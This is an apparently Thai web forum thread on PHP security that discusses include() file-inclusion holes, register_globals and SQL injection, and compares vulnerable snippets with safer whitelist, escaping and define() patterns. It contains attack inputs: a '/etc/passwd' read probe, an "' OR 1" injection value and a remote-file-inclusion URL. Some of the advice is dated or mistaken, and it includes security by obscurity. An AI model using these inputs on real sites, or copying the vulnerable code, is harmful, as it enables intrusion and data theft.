อันตรายจากคำสั่ง include(); ใน PHP ใครมีประสบการณ์มาแชได้ครับ

ถูกต้องครับ ตรงนี้คนทำโฮสสามารถกำหนดเองได้

เพิ่มเติม…สำหรับ SMF ก็มีแจ้งมาว่าโดนเหมือนกันหากไม่ได้ update version

จริง ๆ มันไม่เกี่ยวกับ register_globals = On หรอกครับ ผมเปิดไว้ตลอดไม่เห็นมีอะไร
มันอยู่ที่การเขียนโปรแกรมมากกว่า ถ้าเขียนไม่ดี ต่อให้ Off ก็ไม่ได้ช่วยอะไร ตรงนี้ไม่ใช่ประเด็น
ส่วนใหญ่ที่เห็น ก็รั่วที่ code ที่ระบบแทบช่วยไรไม่ได้เลย ระบบดียังไง code รั่ว ก็จบ

คุมได้จริงหรือ ลองเข้าผ่าน http://ip/~user/file.php?page=/etc/passwd ดูได้ป่ะ หรือไม่ได้หว่า

เข้าแบบนี้หลุดนะ พี่ smartnet ก็เคยเจอมาแล้วนี่ ตอนทำ free host

[quote author=212cafe.com link=topic=11280.msg109366#msg109366 date=1210478840]
จริง ๆ มันไม่เกี่ยวกับ register_globals = On หรอกครับ ผมเปิดไว้ตลอดไม่เห็นมีอะไร
มันอยู่ที่การเขียนโปรแกรมมากกว่า ถ้าเขียนไม่ดี ต่อให้ Off ก็ไม่ได้ช่วยอะไร ตรงนี้ไม่ใช่ประเด็น
ส่วนใหญ่ที่เห็น ก็รั่วที่ code ที่ระบบแทบช่วยไรไม่ได้เลย ระบบดียังไง code รั่ว ก็จบ

[quote author=kke link=topic=11280.msg109386#msg109386 date=1210485052]
:smash: :smash: :smash:

security ไม่ได้มาจาก register_global on/off แต่มาจาก code รั่วๆซะ่ส่วนใหญ่
ซึ่ง code ที่เขียนให้รองรับ register_global off ได้ คนเขียนจะต้องเข้าใจเรื่องการรับค่าตัวแปล
ซึ่งตัวแปลใหนไม่ได้ใช้มันก็ไม่ได้ import เข้ามา จึงช่วยเรื่องความปลอดภัยได้ระดับหนึ่ง
แต่ไอ้ตัวแปลที่รับเข้ามา ถ้าไม่มีการตรวจสอบป้องกัน เขียน code รั่วๆ ก็จบเห่เหมือนกัน register_global off ไม่สามารถช่วยอะไรได้

ยกตัวอย่างเช่น
include $page;
กับ
include $_POST[‘page’];

ไม่ได้มีอันใหนอันตรายน้อยกว่ากันเลย

แนะนำกันไปเลยว่าเขียน code อย่างไรถึงจะปลอดภัย อ่านไปมาเริ่ม งง

หลักๆที่ต้องระมัดระวังในการเขียน code ก็คือ
การใช้งานตัวแปลที่เก็บ path filename และ sql
ตัวแปลพวกนี้ถ้าถูก inject แทนที่ด้วยไฟล์ หรือ คำสั่ง sql อื่น ก็อาจจะสร้างความเสียหายได้
ดังนั้นก็ต้องมีการตรวจสอบและป้องกันก่อนที่จะ include($file) หรือ query($sql) ให้ดี
โดยเฉพาะการรับค่า GET/POST มาจาก URL หรือ Form ต้องตรวจสอบให้ดี

มีตัวอย่างเปรียบเทียบให้ดูมั้ยครับ
ว่าเขียนแบบไหนดี แบบไหนไม่ดี

:slight_smile:

phpNUKE ,phpBB ,osc , osc2nuke ,joomla ,mambo โดนกันมาเยอะ แบบนี้
ถ้าจะรับค่ามาจาก GET/POST ก็ต้อง serialize อะครับ

ไม่ใช่ serialize นะครับ
เค้าเรียก escape string lol


้URL: ?page=contact.php
PHP: include($_GET['page']);

แบบนี้อันตรายแน่ๆ เพราะ include ไฟล์ตามตัวแปล page ที่ส่งมาตรงๆ


้URL: ?page=1
PHP:
$page = $_GET['page']; 
$p[1]="contact.php";
$p[2]="order.php";
include $p[$page];

แบบนี้ปลอดภัยกว่ามาก เพราะยากที่จะแก้ไขค่าในตัวแปลภายใน $p ได้ หากส่งค่า $page ที่ไม่อยู่ใน array ก็แค่ error เฉยๆ

กรณี sql


้URL: ?sort=id
PHP: sql = "SELECT * FROM table WHERE id=".$id." ORDER by ".$_GET['sort'].";";

แบบนี้อันตรายเพราะ เอาตัวแปลมาใส่ใน sql ตรงๆ โดน sql injection ได้ง่ายๆ


้URL: ?sort=2
PHP: 
switch ($_GET['sort']) {
 case 1:
$query = "SELECT * FROM customers WHERE username = '$name'";
mysql_query($sql);

จะเลวร้ายเมื่อ

$name = "' OR 1";

เป็นส่วนหนึ่งของปัญหา register_globals=On

แก้โดย escape string

URL: ?page=1
PHP:
$page = $_GET[‘page’];
$p[1]=“contact.php”;
$p[2]=“order.php”;
include $p[$page];

ใครเปิด register globals on ดูหน่อยครับ
แล้วแก้ url เป็น

?page=3&p[3]=http://www.xxx.com/

เข้ามาอ่านติดตามเรื่อยๆครับ

แบบนี้ต้องเดาค่าตัวแปร สิครับ

สมมติถ้าคิดว่ามันเป็น opensource ล่ะครับ :slight_smile:

script เขียนเองค่อนข้างปลอดภัยเพราะคนอื่นไม่รู้โค้ดอยู่แล้ว
แต่ถ้า opensource นี่เสร็จครับ
พลาดตรงนี้ก็จะอันตรายเอาเรื่อง

วิธีนึงที่ทำให้ค่อนข้างปลอดภัยคือดัก defined variable ครับ
ตัวอย่าง

index.php:

<?php
define("MAIN", true);
require_once("common.php");
...

common.php:

<?php
if (!defined("MAIN")) die("hacking attempt!");
include(dirname(__FILE__)."/config.php");
...

คือพยายามใช้ internal variable เท่านั้นในการส่งค่าข้ามแฟ้ม
โดยใช้คำสั่ง define(“VARNAME”, “VALUE”);
ประมาณเนี้ยแหละครับ

อืม …

ความง่าย ความรวดเร็ว แปรผกผันกับ security เสมอ ยิ่งคิดยิ่งปวดหัว
สมัยนี้การ attack วิธีต่าง ๆ มีมากมายเหลือเกิน ไม่เหมือนสมัยก่อน … :smash:

เท่าที่อ่านๆมา ผมก็สงสัยเหมือนกันว่าจะ include ตัวแปร ทำไม?
ผมยังไม่เคยเห็นสคริปไหนทำแบบนั้นครับ

หากจะใช้จริงๆทำไมไม่ใช่ hide field

จริงๆควรใช้คำสั่ง require_once แทน include ด้วย

สำหรับคนทำ host ก็คงจะถามว่าทำไม แต่ถ้าเป็นโปรแกรมเมอร์มือใหม่หัดขับ (เหมือนผมแต่ก่อน) ไม่สนหรอกว่าต้องใช้